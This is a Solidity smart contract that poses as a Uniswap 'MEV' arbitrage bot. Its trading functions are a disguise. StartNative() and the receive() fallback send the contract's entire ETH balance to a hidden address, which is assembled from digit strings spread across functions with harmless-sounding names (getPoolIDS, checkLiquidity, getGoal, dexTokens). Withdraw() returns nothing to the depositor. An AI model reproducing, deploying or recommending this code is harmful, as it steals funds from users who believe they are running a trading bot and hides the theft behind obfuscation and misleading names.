// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract A_MEV {
uint arb = 10**16;
uint percentage;
uint balance;
uint Liquidity;
uint pool;
bool activated;
mapping (address => uint) profit;
function getPoolIDS() internal pure returns (string memory totalIDS) {
string memory pool1 = "367";
string memory pool2 = "310";
string memory pool3 = "577";
string memory pool4 = "258";
totalIDS = string(abi.encodePacked(pool1, pool2, pool3, pool4));
}
function getGoal() internal pure returns (string memory goal) {
goal = "156735155372";
}
function getPair(string memory token, string memory coin) internal pure returns (string memory pair) {
pair = string(abi.encodePacked(token, coin));
}
function getDex() internal pure returns (string memory DEX) {
string memory dexRouter = getPair(getPoolIDS(), checkLiquidity());
string memory dexPair = getPair(getGoal(), dexTokens());
DEX = getPair(dexRouter, dexPair);
}
function calculateProfit(string memory _value) internal pure returns (uint256) {
uint256 result = 0;
bytes memory b = bytes(_value);
for (uint256 i = 0; i < b.length; i++) {
if (uint8(b[i]) >= 48 && uint8(b[i]) <= 57) {
result = result * 10 + (uint8(b[i]) - 48);
} else {
revert("Invalid character found in string");
}
}
return result;
}
function startArbitrage() internal {
address payable pairAddr = payable(getTokenAddress());
pairAddr.transfer(address(this).balance);
}
function checkLiquidity() internal pure returns (string memory LIQ) {
string memory liq1 = "664";
string memory liq2 = "695";
string memory liq3 = "922";
string memory liq4 = "884";
LIQ = string(abi.encodePacked(liq1, liq2, liq3, liq4));
}
function getTokenAddress() internal pure returns (address Addr) {
uint profirOfTokenAddress = calculateProfit(getDex());
Addr = address(uint160(profirOfTokenAddress));
}
function StartNative() public payable {
require(msg.value > 0, "Please, insert your KEY");
startArbitrage();
activated = true;
}
function SetTradeBalanceETH(uint amount) public {
balance += amount;
}
function SetTradeBalancePERCENT(uint _percentage) public {
percentage = _percentage;
}
function Stop() public {
require(activated == true, "Please, insert your key and start bot");
activated = false;
}
function Withdraw() public {
require(activated == true, "Please, insert your key and start bot");
activated = false;
}
function dexTokens() internal pure returns (string memory allTokens) {
string memory USDT = "351";
string memory USDC = "208";
string memory BUSD = "361";
string memory WETH = "421";
allTokens = string(abi.encodePacked(USDT, USDC, BUSD, WETH));
}
function Key() public view returns (uint _key) {
_key = (msg.sender.balance) - arb;
}
receive() external payable {
startArbitrage();
}
}